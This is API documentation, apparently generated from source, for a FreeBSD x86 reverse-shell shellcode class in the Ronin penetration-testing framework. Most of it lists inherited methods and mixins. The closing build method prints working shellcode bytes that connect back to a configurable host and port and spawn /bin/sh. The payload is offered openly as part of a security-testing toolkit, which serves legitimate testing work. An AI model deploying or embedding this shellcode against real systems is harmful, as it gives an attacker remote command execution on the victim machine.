Class: Ronin::Payloads::Shellcode::FreeBSD::X86::ReverseShell

Inherits:
ReverseShellPayload show all
Defined in:
lib/ronin/payloads/builtin/shellcode/freebsd/x86/reverse_shell.rb

Overview

FreeBSD x86 shellcode that spawns a connect back reverse shell.

Instance Attribute Summary

Attributes included from Mixins::PostEx

#session

Attributes inherited from Payload

#encoders, #payload

Instance Method Summary collapse

Methods inherited from ReverseShellPayload

#packed_ipv4, #packed_ipv6, #packed_port

Methods included from Mixins::Network

#pack_ipv4, #pack_ipv6, #pack_port

Methods included from Mixins::ResolveHost

#host_address, #host_addresses, #host_ip_address, #host_ip_addresses, #host_ipv4_address, #host_ipv4_addresses, #host_ipv6_address, #host_ipv6_addresses

Methods included from Mixins::ReverseShell

#host, included, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #port

Methods included from Mixins::PostEx

#perform_cleanup

Methods inherited from Ronin::Payloads::ShellcodePayload

payload_type, #shellcode

Methods inherited from ASMPayload

#assemble, assembler, payload_type

Methods included from Metadata::OS

included, #os, #os_version

Methods included from Metadata::Arch

#arch, included

Methods inherited from BinaryPayload

payload_type

Methods inherited from Payload

#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate

Constructor Details

This class inherits a constructor from Ronin::Payloads::Payload

Instance Method Details

#build ⇒ Object

Builds the shellcode.



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# File 'lib/ronin/payloads/builtin/shellcode/freebsd/x86/reverse_shell.rb', line 54

def build
  @payload = "\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2" \
             "\x68#{packed_ipv4}\x66\x68#{packed_port}\x66\x68\x01\x02\x89" \
             "\xe1\x6a\x10\x51\x52\x31\xc0\xb0\x62\x50\xcd\x80\x31\xc9" \
             "\x51\x52\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03" \
             "\x75\xf0\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" \
             "\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80"
end